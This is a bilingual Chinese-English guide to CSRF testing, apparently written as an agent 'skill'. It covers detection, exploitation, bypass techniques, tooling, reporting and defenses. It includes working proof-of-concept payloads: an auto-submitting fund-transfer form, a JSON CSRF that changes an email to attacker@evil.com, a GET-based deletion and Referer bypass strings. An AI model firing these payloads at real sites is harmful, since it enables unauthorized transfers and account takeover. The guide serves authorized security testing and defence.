csrf-testing

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CSRF跨站请求伪造测试

CSRF (Cross-Site Request Forgery) Testing

概述

Overview

CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
CSRF (Cross-Site Request Forgery) is an attack method that leverages a user's logged-in status to perform unauthorized operations. This skill provides methods for detecting, exploiting, and defending against CSRF vulnerabilities.

漏洞原理

Vulnerability Principle

  • 攻击者诱导用户访问恶意页面
  • 恶意页面自动发送请求到目标网站
  • 浏览器自动携带用户的认证信息(Cookie、Session)
  • 目标网站误认为是用户合法操作
  • The attacker lures the user to visit a malicious page
  • The malicious page automatically sends a request to the target website
  • The browser automatically carries the user's authentication information (Cookie, Session)
  • The target website mistakenly treats it as a legitimate user operation

测试方法

Testing Methods

1. 识别敏感操作

1. Identify Sensitive Operations

  • 密码修改
  • 邮箱修改
  • 转账操作
  • 权限变更
  • 数据删除
  • 状态更新
  • Password modification
  • Email modification
  • Fund transfer
  • Permission change
  • Data deletion
  • Status update

2. 检测CSRF Token

2. Detect CSRF Token

检查是否有Token保护:
html
<!-- 有Token保护 -->
<form method="POST" action="/change-password">
  <input type="hidden" name="csrf_token" value="abc123">
  <input type="password" name="new_password">
</form>

<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
  <input type="email" name="new_email">
</form>
Check for Token Protection:
html
<!-- With Token Protection -->
<form method="POST" action="/change-password">
  <input type="hidden" name="csrf_token" value="abc123">
  <input type="password" name="new_password">
</form>

<!-- No Token Protection - CSRF Risk Exists -->
<form method="POST" action="/change-email">
  <input type="email" name="new_email">
</form>

3. 验证Token有效性

3. Verify Token Validity

测试Token是否可预测:
  • Token是否基于时间戳
  • Token是否基于用户ID
  • Token是否可重复使用
  • Token是否在多个请求间共享
Test if Token is Predictable:
  • Whether the Token is based on timestamp
  • Whether the Token is based on user ID
  • Whether the Token can be reused
  • Whether the Token is shared across multiple requests

4. 检查Referer验证

4. Check Referer Validation

测试Referer检查是否可绕过:
javascript
// 正常请求
Referer: https://target.com/change-password

// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: ()
Test if Referer Check can be Bypassed:
javascript
// Normal Request
Referer: https://target.com/change-password

// Test Bypass
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (empty)

利用技术

Exploitation Techniques

基础CSRF攻击

Basic CSRF Attack

HTML表单自动提交:
html
<form action="https://target.com/api/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
HTML Form Auto-Submission:
html
<form action="https://target.com/api/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON CSRF

JSON CSRF

绕过Content-Type检查:
html
<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
Bypass Content-Type Check:
html
<!-- Submit JSON using form -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

GET请求CSRF

CSRF via GET Request

利用GET请求进行攻击:
html
<img src="https://target.com/api/delete?id=123">
Exploit GET Request for Attack:
html
<img src="https://target.com/api/delete?id=123">

绕过技术

Bypass Techniques

Token绕过

Token Bypass

如果Token在Cookie中:
javascript
// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
  method: 'POST',
  credentials: 'include',
  body: 'action=delete&id=123'
  // 不包含csrf_token参数,依赖Cookie
});
If Token is in Cookie:
javascript
// If Token exists in both Cookie and form
// You can try to only submit the Token from Cookie
fetch('https://target.com/api/action', {
  method: 'POST',
  credentials: 'include',
  body: 'action=delete&id=123'
  // Does not include csrf_token parameter, relies on Cookie
});

SameSite Cookie绕过

SameSite Cookie Bypass

利用子域名:
  • 如果SameSite=Lax,GET请求仍可携带Cookie
  • 利用子域名进行攻击
Exploit Subdomain:
  • If SameSite=Lax, GET requests can still carry Cookie
  • Exploit subdomain for attack

双重提交Cookie

Double Submit Cookie

绕过Token验证:
html
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <script>
    // 从Cookie中读取Token
    document.cookie.split(';').forEach(c => {
      if(c.trim().startsWith('csrf_token=')) {
        document.querySelector('input[name="csrf_token"]').value = 
          c.split('=')[1];
      }
    });
  </script>
</form>
Bypass Token Validation:
html
<!-- If Token is in Cookie and validation logic is flawed -->
<form action="https://target.com/api/action" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <script>
    // Read Token from Cookie
    document.cookie.split(';').forEach(c => {
      if(c.trim().startsWith('csrf_token=')) {
        document.querySelector('input[name="csrf_token"]').value = 
          c.split('=')[1];
      }
    });
  </script>
</form>

工具使用

Tool Usage

Burp Suite

Burp Suite

使用CSRF PoC生成器:
  1. 拦截目标请求
  2. 右键 → Engagement tools → Generate CSRF PoC
  3. 测试生成的PoC
Use CSRF PoC Generator:
  1. Intercept the target request
  2. Right-click → Engagement tools → Generate CSRF PoC
  3. Test the generated PoC

OWASP ZAP

OWASP ZAP

bash
undefined
bash
undefined

使用ZAP进行CSRF扫描

Perform CSRF scan using ZAP

zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
undefined
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
undefined

验证和报告

Verification and Reporting

验证步骤

Verification Steps

  1. 确认目标操作没有CSRF Token保护
  2. 构造恶意请求并验证可执行
  3. 评估影响(数据泄露、权限提升、资金损失等)
  4. 记录完整的POC
  1. Confirm that the target operation has no CSRF Token protection
  2. Construct malicious request and verify it can be executed
  3. Assess impact (data leakage, privilege escalation, financial loss, etc.)
  4. Record complete PoC

报告要点

Key Reporting Points

  • 漏洞位置和受影响的操作
  • 攻击场景和影响范围
  • 完整的利用步骤和PoC
  • 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
  • Vulnerability location and affected operations
  • Attack scenarios and impact scope
  • Complete exploitation steps and PoC
  • Remediation suggestions (CSRF Token, SameSite Cookie, Referer validation, etc.)

防护措施

Protection Measures

推荐方案

Recommended Solutions

  1. CSRF Token
    • 每个表单包含唯一Token
    • Token存储在Session中
    • 验证Token有效性
  2. SameSite Cookie
    javascript
    Set-Cookie: session=abc123; SameSite=Strict; Secure
  3. 双重提交Cookie
    • Token同时存在于Cookie和表单
    • 验证两者是否匹配
  4. Referer验证
    • 验证Referer是否为同源
    • 注意空Referer的处理
  1. CSRF Token
    • Each form contains a unique Token
    • Token is stored in Session
    • Verify Token validity
  2. SameSite Cookie
    javascript
    Set-Cookie: session=abc123; SameSite=Strict; Secure
  3. Double Submit Cookie
    • Token exists in both Cookie and form
    • Verify if they match
  4. Referer Validation
    • Verify if Referer is same-origin
    • Pay attention to handling empty Referer

注意事项

Notes

  • 仅在授权测试环境中进行
  • 避免对用户账户造成实际影响
  • 记录所有测试步骤
  • 考虑不同浏览器的行为差异
  • Only perform in authorized testing environments
  • Avoid causing actual impact to user accounts
  • Record all testing steps
  • Consider behavioral differences across browsers